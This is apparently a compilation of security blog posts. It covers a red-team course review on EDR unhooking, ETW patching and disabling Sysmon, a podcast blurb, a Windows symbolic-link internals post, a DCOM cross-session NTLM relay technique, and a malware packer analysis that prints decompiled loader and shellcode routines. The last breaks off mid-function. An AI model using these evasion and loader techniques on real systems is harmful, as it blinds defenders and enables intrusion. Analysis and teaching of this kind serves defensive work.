Reenz0h has a neat new modification (new to me at least!) to Hell’s Gate that gets around this problem, which he calls Halo’s Gate. It takes advantage of the fact that the system calls contained within ntdll.dll are sorted in numerically ascending order. The trick is to identity that a syscall has been hooked by checking for the jmp opcode (0xE9), and then traversing ntdll.dll both ahead and behind the target syscall. If an unhooked syscall is found 8 functions after the target, and its value is 0xFD, then by subtracting 8 from 0xFD, the the resulting 0xFD is our target syscall number. The same applies for a syscall before the target function. As no EDR hooks every syscall, eventually a clean one will be found and the target syscall number can be successfully calculated. This property of ordered syscall numbers in ntdll.dll is exploited to great effect in Syswhispers2. It was originally documented by the prolific modxp in a blog post here.

The last method of unhooking is a twist on the first, named, and I quote, “Perun’s Fart”. The goal is to get a clean copy of ntdll.dll without mapping it into our process again. It turns out that if a process is created in a suspended state, ntdll.dll is mapped by the Windows loader as part of the normal new process creation flow, but EDR hooks are not applied, since the main thread has not yet begun execution. So we can steal its copy of ntdll.dll and overwrite our local hooked version. Obviously this is a trade off, as this method will create a new process and involve cross-process memory reads. Still, it’s good to have multiple options when it comes to unhooking.

ETW Bypass

Next up is coverage of Event Tracing for Windows (ETW), how it can rat you out to AV/EDR, and how to blind it in your local process. ETW is especially relevant when executing .NET assemblies, such as in Cobalt Strike’s execute-assembly, as it can inform defenders of the exact assembly name and methods executed. The solution in this case is simple: Patch the ETWEventWrite function to return early with 0 in the RAX register. Anytime an ETW event is sent by the process, it will always succeed, without actually sending the message. Sweet and simple.

Avoiding IOCs

The last few videos of Section 2 cover different methods of hiding some specific indicators that can reveal the presence of malicious activity. First is module stomping. This is a way of executing shellcode from within a loaded DLL, avoiding the telltale sign of memory allocations within the process that are not backed by files on disk. A DLL that the host process does not use is loaded, then partially hollowed out and replaced with shellcode. Since the original DLL is properly loaded, no indication of injected shellcode is present.

Lastly this section covers hiding parent-child process ID relationships. The usual method is covered for PPID spoofing, using UpdateProcThreadAttribute to set the PPID to an arbitrary parent process. However two other methods I’d not encountered were covered as well. First, it turns out that processes created by the Windows task scheduler become a parent of the task scheduler svchost.exe process, and code is provided to use the Win32 API to execute a payload this way. The other method is one used by Emotet, which uses COM to programatically run WMI and create a new process. The parent in this case is the WmiPrvSE.exe process.

Section 3: High-Privileged User Vector

This section covers a variety of techniques that are available in high-privilege contexts. The focus is on Windows Eventlog, interrupting AV/EDR network communication, and Sysmon.

Eventlog

One video covers a method of hiding your activities from the Windows Eventlog. The idea is that the service that service responsible for Eventlog, Windows Event Log, has several threads that handle the processing of event log messages. By suspending these threads, the service continues to run, but does not process any events, thus hiding our activity. One caveat is that if the threads are resumed, all events that were missed in the interim will be processed, unless the machine is rebooted.

AV/EDR Network Communication

The next section looks at severing the connection between AV/EDR and its remote monitoring/logging server. This is done in two primary ways: adding Windows Firewall rules, and sink-holing traffic via the routing table. These two are pretty self-explanatory, but the real value here is the code samples provided for doing this in C/C++. The infamous and terrible COM is used in several places, and provides a good working example of COM programming. Creating routing table entries is actually a simple Win32 API call away.

Sysmon

The final section of the course covers identifying and neutralizing Sysmon. Sysmon is an excellent tool and frequently the backbone of many AV/EDR collection strategies, so identifying its presence and disabling its capabilities can go a long way in hiding your activities.

One problem for attackers is that Sysmon by design can be concealed in various ways. The name of the user-mode process, the minifilter driver name, and its altitude can all be modified to hide Sysmon’s presence. However there are enough reliable ways, like checking registry keys, to identify it. Code and commands are provided to find the registry keys and several techniques for shutting down Sysmon as well. One is to unload the minifilter driver. Another harks back to earlier in the course and shows how to patch our friend ETWEventWrite.

Takeaways

If you’ve read my other reviews of Sektor7 courses, you know what I’m going to say here. They are fantastic, and a fantastic value for the money as well, as most are around $200-250 USD. You can buy all 5 current courses for less than almost any other training out there, and 2573 times less than a single SANS course. You get lifetime access, and most importantly, the code samples. This to me is by far the single most valuable part of the course. Reenz0h is a great instructor with a wealth of knowledge and a great presentation style, but the true gift he gives you is a firm foundation of working code samples to build from and the context of how they are used. This course specifically covers basic COM programming in as understandable a way as COM can be covered, in my opinion. I’ve found that I learn best when I have some working code to tweak, play with, lookup its functions on MSDN, and mold it until it does what I want. No, the samples are not production ready and undetectable in every case, but these course give you the tools to make them that way and integrate them into your own tooling.

Conclusion

Props again to reenz0h and the Sektor7 crew. I’m glad they took a poll of their students and delivered a more advanced course. I get the feeling there is a ton more advanced material they could crank out, and I can’t wait for it.

Lessons cybersecurity can learn from physical security | Guest Jeff Schmidt

By: Infosec
3 May 2021 at 07:00

This episode we welcome Jeff Schmidt of Covail to discuss security and risk management, working at the FBI to create the InfraGard program, and what cybersecurity can learn from physical security controls and fire safety and protection.

0:00 - Intro
2:30 - Origin story
4:31 - Stepping stones throughout career
8:00 - Average work day
12:14 - Learning from physical security
17:18 - Deficiencies in detection
22:17 - Which security practices need to change?
24:15 - How massive would this change be?
27:37 - Skills needed for real-time detection
32:00 - Strategies to get into cybersecurity
34:30 - Final words on the industry
37:16 - What is Covail?
38:40 - Outro

– Start learning cybersecurity for free: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Jeff Schmidt, VP and Chief Cyber Security Innovator at Covail is an accomplished cybersecurity expert with a background in security and risk management. He founded JAS Global Advisors LLC, a security consulting firm in Chicago, and Authis, a provider of innovative risk-managed identity services for the financial sector. Jeff is a board member for Delta Risk LLC. In 1998, he worked with the FBI to create the InfraGard program, receiving commendations from the Attorney General and the Director of the FBI. He is an adjunct professor of systems security engineering at the Stevens Institute of Technology and a Zurich Cyber Risk Fellow, Cyber Statecraft Initiative, at The Atlantic Council. Jeff received a Bachelor of Science in computer information systems and an MBA from the Fisher College of Business at The Ohio State University.

Jeff came to us with an intriguing topic. He proposes what he calls a Detect, Defend, and Respond Posture in Cybersecurity, and postulates that cybersecurity can learn lessons from “the mature sciences of physical security and fire protection.” No matter how you’re securing your system now, there’s often room for improvement, and always room for taking in new ideas, so let’s take a closer look!

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

💾

Dynamic Symbolic Links

30 April 2021 at 15:00

While teaching a Windows Internals class recently, I came across a situation which looked like a bug to me, but turned out to be something I didn’t know about – dynamic symbolic links.

Symbolic links are Windows kernel objects that point to another object. The weird situation in question was when running WinObj from Sysinternals and navigating to the KenrelObjects object manager directory.

WinObj from Sysinternals

You’ll notice some symbolic link objects that look weird: MemoryErrors, PhysicalMemoryChange, HighMemoryCondition, LowMemoryCondition and a few others. The weird thing that is fairly obvious is that these symbolic link objects have empty targets. Double-clicking any one of them confirms no target, and also shows a curious zero handles, as well as quota change of zero:

Symbolic link properties

To add to the confusion, searching for any of them with Process Explorer yields something like this:

It seems these objects are events, and not symbolic links!

My first instinct was that there is a bug in WinObj (I rewrote it recently for Sysinternals, so was certain I introduced a bug). I ran an old WinObj version, but the result was the same. I tried other tools with similar functionality, and still got the same results. Maybe a bug in Process Explorer? Let’s see in the kernel debugger:

lkd> !object 0xFFFF988110EC0C20
Object: ffff988110ec0c20  Type: (ffff988110efb400) Event
    ObjectHeader: ffff988110ec0bf0 (new version)
    HandleCount: 4  PointerCount: 117418
    Directory Object: ffff828b10689530  Name: HighCommitCondition

Definitely an event and not a symbolic link. What’s going on? I debugged it in WinObj, and indeed the reported object type is a symbolic link. Maybe it’s a bug in the NtQueryDirectoryObject used to query a directory object for an object.

I asked Mark Russinovich, could there be a bug in Windows? Mark remembered that this is not a bug, but a feature of symbolic links, where objects can be created/resolved dynamically when accessing the symbolic link. Let’s see if we can see something in the debugger:

lkd> !object \kernelobjects\highmemorycondition
Object: ffff828b10659510  Type: (ffff988110e9ba60) SymbolicLink
    ObjectHeader: ffff828b106594e0 (new version)
    HandleCount: 0  PointerCount: 1
    Directory Object: ffff828b10656ce0  Name: HighMemoryCondition
    Flags: 0x000010 ( Local )
    Target String is '*** target string unavailable ***'

Clearly, there is target, but notice the flags value 0x10. This is the flag indicating the symbolic link is a dynamic one. To get further information, we need to look at the object with a “symbolic link lenses” by using the data structure the kernel uses to represent symbolic links:

lkd> dt nt!_OBJECT_SYMBOLIC_LINK ffff828b10659510

   +0x000 CreationTime     : _LARGE_INTEGER 0x01d73d87`21bd21e5
   +0x008 LinkTarget       : _UNICODE_STRING "--- memory read error at address 0x00000000`00000005 ---"
   +0x008 Callback         : 0xfffff802`08512250     long  nt!MiResolveMemoryEvent+0

   +0x010 CallbackContext  : 0x00000000`00000005 Void
   +0x018 DosDeviceDriveIndex : 0
   +0x01c Flags            : 0x10
   +0x020 AccessMask       : 0x24

The Callback member shows the function that is being called (MiResolveMemoryEvent) that “resolves” the symbolic link to the relevant event. There are currently 11 such events, their names visible with the following:

lkd> dx (nt!_UNICODE_STRING*)&nt!MiMemoryEventNames,11
(nt!_UNICODE_STRING*)&nt!MiMemoryEventNames,11                 : 0xfffff80207e02e90 [Type: _UNICODE_STRING *]
    [0]              : "\KernelObjects\LowPagedPoolCondition" [Type: _UNICODE_STRING]
    [1]              : "\KernelObjects\HighPagedPoolCondition" [Type: _UNICODE_STRING]
    [2]              : "\KernelObjects\LowNonPagedPoolCondition" [Type: _UNICODE_STRING]
    [3]              : "\KernelObjects\HighNonPagedPoolCondition" [Type: _UNICODE_STRING]
    [4]              : "\KernelObjects\LowMemoryCondition" [Type: _UNICODE_STRING]
    [5]              : "\KernelObjects\HighMemoryCondition" [Type: _UNICODE_STRING]
    [6]              : "\KernelObjects\LowCommitCondition" [Type: _UNICODE_STRING]
    [7]              : "\KernelObjects\HighCommitCondition" [Type: _UNICODE_STRING]
    [8]              : "\KernelObjects\MaximumCommitCondition" [Type: _UNICODE_STRING]
    [9]              : "\KernelObjects\MemoryErrors" [Type: _UNICODE_STRING]
    [10]             : "\KernelObjects\PhysicalMemoryChange" [Type: _UNICODE_STRING]

Creating dynamic symbolic links is only possible from kernel mode, of course, and is undocumented anyway.

At least the conundrum is solved.

image

zodiacon

Standard Activating Yourself to Greatness

By: tiraniddo
27 April 2021 at 23:45

This week @decoder_it and @splinter_code disclosed a new way of abusing DCOM/RPC NTLM relay attacks to access remote servers. This relied on the fact that if you're in logged in as a user on session 0 (such as through PowerShell remoting) and you call CoGetInstanceFromIStorage the DCOM activator would create the object on the lowest interactive session rather than the session 0. Once an object is created the initial unmarshal of the IStorage object would happen in the context of the user authenticated to that session. If that happens to be a privileged user such as a Domain Administrator then the NTLM authentication could be relayed to a remote server and fun ensues.

The obvious problem with this attack is the requirement of being in session 0. Certainly it's possible a non-admin user might be allowed to authenticate to a system via PowerShell remoting but it'd be rarer than just being authenticated on a Terminal Server with multiple other users you could attack. It'd be nice if somehow you could pick the session that the object was created on.

Of course this already exists, you can use the session moniker to activate an object cross-session (other than to session 0 which is special). I've abused this feature multiple times for cross-session attacks, such as this, this or this. I've repeated told Microsoft they need to fix this activation route as it makes no sense than a non-administrator can do it. But my warnings have not been heeded. 

If you read the description of the session moniker you might notice a problem for us, it can't be combined with IStorage activation. The COM APIs only give us one or the other. However, if you poke around at the DCOM protocol documentation you'll notice that they are technically independent. The session activation is specified by setting the dwSessionId field in the SpecialPropertiesData activation property. And the marshalled IStorage object can be passed in the ifdStg field of the InstanceInfoData activation property. You package those activation properties up and send them to the IRemoteSCMActivator RemoteGetClassObject or RemoteCreateInstance methods. Of course it's possible this won't really work, but at least they are independent properties and could be mixed.

The problem with testing this out is implementing DCOM activation is ugly. The activation properties first need to be NDR marshalled in a blob. They then need to be packaged up correctly before it can be sent to the activator. Also the documentation is only for remote activation which is not we want, and there are some weird quirks of local activation I'm not going to go into. Is there any documented way to access the activator without doing all this?

No, sorry. There is an undocumented way though if you're interested? Sure? Okay good, let's carry on. The key with these sorts of challenges is to just look at how the system already does it. Specifically we can look at how session moniker is activating the object and maybe from that we'll be lucky and we can reuse that for our own purposes.

Where to start? If you read this MSDN article you can see you need to call MkParseDisplayNameEx to create parse the string into a moniker. But that's really a wrapper over MkParseDisplayName to provide URL moniker functionality which we don't care about. We'll just start at the MkParseDisplayName which is in OLE32.

HRESULT MkParseDisplayName(LPBC pbc, LPCOLESTR szUserName, 
      ULONG *pchEaten, LPMONIKER *ppmk) {
  HRESULT hr = FindLUAMoniker(pbc, szUserName, &pcchEaten, &ppmk);
  if (hr == MK_E_UNAVAILABLE) {
    hr = FindSessionMoniker(pbc, szUserName, &pcchEaten, &ppmk);
  }
  // Parse rest of moniker.
}

Almost immediately we see a call to FindSessionMoniker, seems promising. Looking into that function we find what we need.

HRESULT FindSessionMoniker(LPBC pbc, LPCWSTR pszDisplayName, 
                           ULONG *pchEaten, LPMONIKER *ppmk) {
  DWORD dwSessionId = 0;
  BOOL bConsole = FALSE;
  
  if (wcsnicmp(pszDisplayName, L"Session:", 8))
    return MK_E_UNAVAILABLE;
  
  
if (!wcsnicmp(pszDisplayName + 8, L"Console", 7)) {
    dwConsole = TRUE;
    *pcbEaten = 15;
  } else {
    LPWSTR EndPtr;
    dwSessionId = wcstoul(pszDisplayName + 8, &End, 0);
    *pcbEaten = EndPtr - pszDisplayName;
  }

  *ppmk = new CSessionMoniker(dwSessionId, bConsole);
  return S_OK;
}

This code parses out the session moniker data and then creates a new instance of the CSessionMoniker class. Of course this is not doing any activation yet. You don't use the session moniker in isolation, instead you're supposed to build a composite moniker with a new or class moniker. The MkParseDisplayName API will keep parsing the string (which is why pchEaten is updated) and combine each moniker it finds. Therefore, if you have the moniker display name:

Session:3!clsid:0002DF02-0000-0000-C000-000000000046

The API will return a composite moniker consisting of the session moniker for session 3 and the class moniker for CLSID 0002DF02-0000-0000-C000-000000000046 which is the Browser Broker. The example code then calls BindToObject on the composite moniker, which first calls the right most moniker, which is the class moniker.

HRESULT CClassMoniker::BindToObject(LPBC pbc, 
  LPMONIKER pmkToLeft, REFIID riid, void **ppv) {
  if (pmkToLeft) {
      IClassActivator pClassActivator;
      pmkToLeft->BindToObject(pcb, nullptr, 
        IID_IClassActivator, &pClassActivator);
      return pClassActivator->GetClassObject(m_clsid, 
            CLSCTX_SERVER, 0, riid, ppv);

  }
  // ...
}

The pmkToLeft parameter is set by the composite moniker to the left moniker, which is the session moniker. We can see that the class moniker calls the session moniker's BindToObject method requesting an IClassActivator interface. It then calls the GetClassObject method, passing it the CLSID to activate. We're almost there.

HRESULT CSessionMoniker::GetClassObject(
   REFCLSID pClassID, CLSCTX dwClsContext, 
   LCID locale, REFIID riid, void **ppv) {
  IStandardActivator* pActivator;
  CoCreateInstance(&CLSID_ComActivator, NULL, CLSCTX_INPROC_SERVER, 
    IID_IStandardActivator, &pActivator);

 
  ISpecialSystemProperties pSpecialProperties;
  pActivator->QueryInterface(IID_ISpecialSystemProperties, 
      &pSpecialProperties);
  pSpecialProperties->SetSessionId(m_sessionid, m_console, TRUE);
  return pActivator->StandardGetClassObject(pClassId, dwClsContext, 
                                            NULL, riid, ppv);

}

Finally the session moniker creates a new COM activator object with the IStandardActivator interface. It then queries for the ISpecialSystemProperties interface and sets the moniker's session ID and console state. It then calls the StandardGetClassObject method on the IStandardActivator and you should now have a COM server cross-session. None of these interface or the class are officially documented of course (AFAIK).

The $1000 question is, can you also do IStorage activation through the IStandardActivator interface? Poking around in COMBASE for the implementation of the interface you find one of its functions is:

HRESULT StandardGetInstanceFromIStorage(COSERVERINFO* pServerInfo, 
  REFCLSID pclsidOverride, IUnknown* punkOuter, CLSCTX dwClsCtx, 
  IStorage* pstg, int dwCount, MULTI_QI pResults[]);

It seems that the answer is yes. Of course it's possible that you still can't mix the two things up. That's why I wrote a quick and dirty example in C#, which is available here. Seems to work fine. Of course I've not tested it out with the actual vulnerability to see it works in that scenario. That's something for others to do.

Anatomy of a simple and popular packer

By: fumko
24 April 2021 at 20:25

It’s been a while that I haven’t release some stuff here and indeed, it’s mostly caused by how fucked up 2020 was. I would have been pleased if this global pandemic hasn’t wrecked me so much but i was served as well. Nowadays, with everything closed, corona haircut is new trend and finding a graphic cards or PS5 is like winning at the lottery. So why not fflush all that bullshit by spending some time into malware curiosities (with the support of some croissant and animes), whatever the time, weebs are still weebs.

So let’s start 2021 with something really simple… Why not dissecting completely to the ground a well-known packer mixing C/C++ & shellcode (active since some years now).

Typical icons that could be seen with this packer

This one is a cool playground for checking its basics with someone that need to start learning into malware analysis/reverse engineering:

  • Obfuscation
  • Cryptography
  • Decompression
  • Multi-stage
  • Shellcode
  • Remote Thread Hijacking

Disclamer: This post will be different from what i’m doing usually in my blog with almost no text but i took the time for decompiling and reviewing all the code. So I considered everything is explain.

For this analysis, this sample will be used:

B7D90C9D14D124A163F5B3476160E1CF

Architecture

Speaking of itself, the packer is split into 3 main stages:

  • A PE that will allocate, decrypt and execute the shellcode n°1
  • Saving required WinAPI calls, decrypting, decompressing and executing shellcode n°2
  • Saving required WinAPI calls (again) and executing payload with a remote threat hijacking trick

An overview of this packer

Stage 1 – The PE

The first stage is misleading the analyst to think that a decent amount of instructions are performed, but… after purging all the junk code and unused functions, the cleaned Winmain function is unveiling a short and standard setup for launching a shellcode.

int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
  int i; 
  SIZE_T uBytes; 
  HMODULE hModule; 

  // Will be used for Virtual Protect call
  hKernel32 = LoadLibraryA("kernel32.dll");

  // Bullshit stuff for getting correct uBytes value
  uBytes = CONST_VALUE

  _LocalAlloc();

  for ( i = 0; j < uBytes; ++i ) {
    (_FillAlloc)();
  }

  _VirtualProtect();

  // Decrypt function vary between date & samples
  _Decrypt();     
  _ExecShellcode();

  return 0;
}

It’s important to notice this packer is changing its first stage regularly, but it doesn’t mean the whole will change in the same way. In fact, the core remains intact but the form will be different, so whenever you have reversed this piece of code once, the pattern is recognizable easily in no time.

Beside using a classic VirtualAlloc, this one is using LocalAlloc for creating an allocated memory page to store the second stage. The variable uBytes was continuously created behind some spaghetti code (global values, loops and conditions).

int (*LocalAlloc())(void)
{
  int (*pBuff)(void); // eax

  pBuff = LocalAlloc(0, uBytes);
  Shellcode = pBuff;
  return pBuff;
}

For avoiding giving directly the position of the shellcode, It’s using a simple addition trick for filling the buffer step by step.

int __usercall FillAlloc(int i)
{
  int result; // eax

  // All bullshit code removed
  result = dword_834B70 + 0x7E996;
  *(Shellcode + i) = *(dword_834B70 + 0x7E996 + i);
  return result;
}

Then obviously, whenever an allocation is called, VirtualProtect is not far away for finishing the job. The function name is obfuscated as first glance and adjusted. then for avoiding calling it directly, our all-time classic GetProcAddress will do the job for saving this WinAPI call into a pointer function.

BOOL __stdcall VirtualProtect()
{
  char v1[4]; // [esp+4h] [ebp-4h] BYREF

  String = 0;
  lstrcatA(&String, "VertualBritect");          // No ragrets
  byte_442581 = 'i';
  byte_442587 = 'P';
  byte_442589 = 'o';
  pVirtualProtect = GetProcAddress(hKernel32, &String);
  return (pVirtualProtect)(Shellcode, uBytes, 64, v1);
}

Decrypting the the first shellcode

The philosophy behind this packer will lead you to think that the decryption algorithm will not be that much complex. Here the encryption used is TEA, it’s simple and easy to used

void Decrypt()
{
  SIZE_T size;
  PVOID sc; 
  SIZE_T i; 

  size = uBytes;
  sc = Shellcode;
  for ( i = size >> 3; i; --i )
  {
    _TEADecrypt(sc);                   
    sc = sc + 8;                  // +8 due it's v[0] & v[1] with TEA Algorithm
  }
}

I am always skeptical whenever i’m reading some manual implementation of a known cryptography algorithm, due that most of the time it could be tweaked. So before trying to understand what are the changes, let’s take our time to just make sure about which variable we have to identified:

  • v[0] and v[1]
  • y & z
  • Number of circles (n=32)
  • 16 bytes key represented as k[0], k[1], k[2], k[3]
  • delta
  • sum

Identifying TEA variables in x32dbg

For adding more salt to it, you have your dose of mindless amount of garbage instructions.

Junk code hiding the algorithm

After removing everything unnecessary, our TEA decryption algorithm is looking like this

int *__stdcall _TEADecrypt(int *v)
{
  unsigned int y, z, sum;
  int i, v7, v8, v9, v10, k[4]; 
  int *result;

  y = *v;
  z = v[1];
  sum = 0xC6EF3720;

  k[0] = dword_440150;
  k[1] = dword_440154;
  k[3] = dword_440158;
  k[2] = dword_44015C;

  i = 32;
  do
  {
    // Junk code purged
    v7 = k[2] + (y >> 5);
    v9 = (sum + y) ^ (k[3] + 16 * y);
    v8 = v9 ^ v7;
    z -= v8;
    v10 = k[0] + 16 * z;
    (_TEA_Y_Operation)((sum + z) ^ (k[1] + (z >> 5)) ^ v10);
    sum += 0x61C88647;  // exact equivalent of sum -= 0x9
    --i;
  }

  while ( i );
  result = v;
  v[1] = z;
  *v = y;
  return result;
}

At this step, the first stage of this packer is now almost complete. By inspecting the dump, you can recognizing our shellcode being ready for action (55 8B EC opcodes are in my personal experience stuff that triggered me almost everytime).

Stage 2 – Falling into the shellcode playground

This shellcode is pretty simple, the main function is just calling two functions:

  • One focused for saving fundamentals WinAPI call
  • Creating the shellcode API structure and setup the workaround for pushing and launching the last shellcode stage

Shellcode main()

Give my WinAPI calls

Disclamer: In this part, almost no text explanation, everything is detailed with the code

PEB & BaseDllName

Like any another shellcode, it needs to get some address function to start its job, so our PEB best friend is there to do the job.

00965233 | 55                       | push ebp                                      |
00965234 | 8BEC                     | mov ebp,esp                                   |
00965236 | 53                       | push ebx                                      |
00965237 | 56                       | push esi                                      |
00965238 | 57                       | push edi                                      |
00965239 | 51                       | push ecx                                      |
0096523A | 64:FF35 30000000         | push dword ptr fs:[30]                        | Pointer to PEB
00965241 | 58                       | pop eax                                       |
00965242 | 8B40 0C                  | mov eax,dword ptr ds:[eax+C]                  | Pointer to Ldr
00965245 | 8B48 0C                  | mov ecx,dword ptr ds:[eax+C]                  | Pointer to Ldr->InLoadOrderModuleList
00965248 | 8B11                     | mov edx,dword ptr ds:[ecx]                    | Pointer to List Entry (aka pEntry)
0096524A | 8B41 30                  | mov eax,dword ptr ds:[ecx+30]                 | Pointer to BaseDllName buffer (pEntry->DllBaseName->Buffer)

Let’s take a look then in the PEB structure

For beginners, i sorted all these values with there respective variable names and meaning.

offset Type Variable Value
0x00 LIST_ENTRY InLoaderOrderModuleList->Flink A8 3B 8D 00
0x04 LIST_ENTRY InLoaderOrderModuleList->Blink C8 37 8D 00
0x08 LIST_ENTRY InMemoryOrderList->Flink B0 3B 8D 00
0x0C LIST_ENTRY InMemoryOrderList->Blick D0 37 8D 00
0x10 LIST_ENTRY InInitializationOrderModulerList->Flink 70 3F 8D 00
0x14 LIST_ENTRY InInitializationOrderModulerList->Blink BC 7B CC 77
0x18 PVOID BaseAddress 00 00 BB 77
0x1C PVOID EntryPoint 00 00 00 00
0x20 UINT SizeOfImage 00 00 19 00
0x24 UNICODE_STRING FullDllName 3A 00 3C 00 A0 35 8D 00
0x2C UNICODE_STRING BaseDllName 12 00 14 00 B0 6D BB 77

Because he wants at the first the BaseDllName for getting kernel32.dll We could supposed the shellcode will use the offset 0x2c for having the value but it’s pointing to 0x30

008F524A | 8B41 30                  | mov eax,dword ptr ds:[ecx+30]   

It means, It will grab buffer pointer from the UNICODE_STRING structure

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

After that, the magic appears

Register Address Symbol Value
EAX 77BB6DB0 L”ntdll.dll”

Homemade checksum algorithm ?

Searching a library name or function behind its respective hash is a common trick performed in the wild.

00965248 | 8B11                     | mov edx,dword ptr ds:[ecx]                    | Pointer to List Entry (aka pEntry)
0096524A | 8B41 30                  | mov eax,dword ptr ds:[ecx+30]                 | Pointer to BaseDllName buffer 
0096524D | 6A 02                    | push 2                                        | Increment is 2 due to UNICODE value
0096524F | 8B7D 08                  | mov edi,dword ptr ss:[ebp+8]                  |
00965252 | 57                       | push edi                                      | DLL Hash (searched one)
00965253 | 50                       | push eax                                      | DLL Name
00965254 | E8 5B000000              | call 9652B4                                   | Checksum()
00965259 | 85C0                     | test eax,eax                                  |
0096525B | 74 04                    | je 965261                                     |
0096525D | 8BCA                     | mov ecx,edx                                   | pEntry = pEntry->Flink
0096525F | EB E7                    | jmp 965248                                    |

The checksum function used here seems to have a decent risk of hash collisions, but based on the number of occurrences and length of the strings, it’s negligible. Otherwise yeah, it could be fucked up very quickly.

BOOL Checksum(PWSTR *pBuffer, int hash, int i)
{
  int pos; // ecx
  int checksum; // ebx
  int c; // edx

  pos = 0;
  checksum = 0;
  c = 0;
  do
  {
    LOBYTE(c) = *pBuffer | 0x60;                // Lowercase
    checksum = 2 * (c + checksum);
    pBuffer += i;                               // +2 due it's UNICODE
    LOBYTE(pos) = *pBuffer;
    --pos;
  }
  while ( *pBuffer && pos );
  return checksum != hash;
}

Find the correct function address

With the pEntry list saved and the checksum function assimilated, it only needs to perform a loop that repeat the process to get the name of the function, put him into the checksum then comparing it with the one that the packer wants.

00965261 | 8B41 18                  | mov eax,dword ptr ds:[ecx+18]                 | BaseAddress
00965264 | 50                       | push eax                                      |
00965265 | 8B58 3C                  | mov ebx,dword ptr ds:[eax+3C]                 | PE Signature (e_lfanew) RVA
00965268 | 03C3                     | add eax,ebx                                   | pNTHeader = BaseAddress + PE Signature RVA
0096526A | 8B58 78                  | mov ebx,dword ptr ds:[eax+78]                 | Export Table RVA
0096526D | 58                       | pop eax                                       |
0096526E | 50                       | push eax                                      |
0096526F | 03D8                     | add ebx,eax                                   | Export Table
00965271 | 8B4B 1C                  | mov ecx,dword ptr ds:[ebx+1C]                 | Address of Functions RVA
00965274 | 8B53 20                  | mov edx,dword ptr ds:[ebx+20]                 | Address of Names RVA
00965277 | 8B5B 24                  | mov ebx,dword ptr ds:[ebx+24]                 | Address of Name Ordinals RVA
0096527A | 03C8                     | add ecx,eax                                   | Address Table
0096527C | 03D0                     | add edx,eax                                   | Name Pointer Table (NPT)
0096527E | 03D8                     | add ebx,eax                                   | Ordinal Table (OT)
00965280 | 8B32                     | mov esi,dword ptr ds:[edx]                    |
00965282 | 58                       | pop eax                                       |
00965283 | 50                       | push eax                                      | BaseAddress
00965284 | 03F0                     | add esi,eax                                   | Function Name = NPT[i] + BaseAddress
00965286 | 6A 01                    | push 1                                        | Increment to 1 loop
00965288 | FF75 0C                  | push dword ptr ss:[ebp+C]                     | Function Hash (searched one)
0096528B | 56                       | push esi                                      | Function Name
0096528C | E8 23000000              | call 9652B4                                   | Checksum()
00965291 | 85C0                     | test eax,eax                                  |
00965293 | 74 08                    | je 96529D                                     |
00965295 | 83C2 04                  | add edx,4                                     |
00965298 | 83C3 02                  | add ebx,2                                     |
0096529B | EB E3                    | jmp 965280                                    |

Save the function address

When the name is matching with the hash in output, so it only requiring now to grab the function address and store into EAX.

0096529D | 58                       | pop eax                                       |
0096529E | 33D2                     | xor edx,edx                                   | Purge
009652A0 | 66:8B13                  | mov dx,word ptr ds:[ebx]                      |
009652A3 | C1E2 02                  | shl edx,2                                     | Ordinal Value
009652A6 | 03CA                     | add ecx,edx                                   | Function Address RVA
009652A8 | 0301                     | add eax,dword ptr ds:[ecx]                    | Function Address = BaseAddress + Function Address RVA
009652AA | 59                       | pop ecx                                       |
009652AB | 5F                       | pop edi                                       |
009652AC | 5E                       | pop esi                                       |
009652AD | 5B                       | pop ebx                                       |
009652AE | 8BE5                     | mov esp,ebp                                   |
009652B0 | 5D                       | pop ebp                                       |
009652B1 | C2 0800                  | ret 8                                         |

Road to the second shellcode ! \o/

Saving API into a structure

Now that LoadLibraryA and GetProcAddress are saved, it only needs to select the function name it wants and putting it into the routine explain above.

In the end, the shellcode is completely setup

struct SHELLCODE
{
  _BYTE Start;
  SCHEADER *ScHeader;
  int ScStartOffset;
  int seed;
  int (__stdcall *pLoadLibraryA)(int *);
  int (__stdcall *pGetProcAddress)(int, int *);
  PVOID GlobalAlloc;
  PVOID GetLastError;
  PVOID Sleep;
  PVOID VirtuaAlloc;
  PVOID CreateToolhelp32Snapshot;
  PVOID Module32First;
  PVOID CloseHandle;
};

struct SCHEADER
{
  _DWORD dwSize;
  _DWORD dwSeed;
  _BYTE option;
  _DWORD dwDecompressedSize;
};

Abusing fake loops

Something that i really found cool in this packer is how the fake loop are funky. They have no sense but somehow they are working and it’s somewhat amazing. The more absurd it is, the more i like and i found this really clever.

int __cdecl ExecuteShellcode(SHELLCODE *sc)
{
  unsigned int i; // ebx
  int hModule; // edi
  int lpme[137]; // [esp+Ch] [ebp-224h] BYREF

  lpme[0] = 0x224;
  for ( i = 0; i < 0x64; ++i )
  {
    if ( i )
      (sc->Sleep)(100);
    hModule = (sc->CreateToolhelp32Snapshot)(TH32CS_SNAPMODULE, 0);
    if ( hModule != -1 )
      break;
    if ( (sc->GetLastError)() != 24 )
      break;
  }
  if ( (sc->Module32First)(hModule, lpme) )
    JumpToShellcode(sc); // <------ This is where to look :)
  return (sc->CloseHandle)(hModule);
}

Allocation & preparing new shellcode

void __cdecl JumpToShellcode(SHELLCODE *SC)
{
  int i; 
  unsigned __int8 *lpvAddr; 
  unsigned __int8 *StartOffset; 

  StartOffset = SC->ScStartOffset;
  Decrypt(SC, StartOffset, SC->ScHeader->dwSize, SC->ScHeader->Seed);
  if ( SC->ScHeader->Option )
  {
    lpvAddr = (SC->VirtuaAlloc)(0, *(&SC->ScHeader->dwDecompressSize), 4096, 64);
    i = 0;
    Decompress(StartOffset, SC->ScHeader->dwDecompressSize, lpvAddr, i);
    StartOffset = lpvAddr;
    SC->ScHeader->CompressSize = i;
  }
  __asm { jmp     [ebp+StartOffset] }

Decryption & Decompression

The decryption is even simpler than the one for the first stage by using a simple re-implementation of the ms_rand function, with a set seed value grabbed from the shellcode structure, that i decided to call here SCHEADER

int Decrypt(SHELLCODE *sc, int startOffset, unsigned int size, int s)
{
int seed; // eax
unsigned int count; // esi
_BYTE *v6; // edx

seed = s;
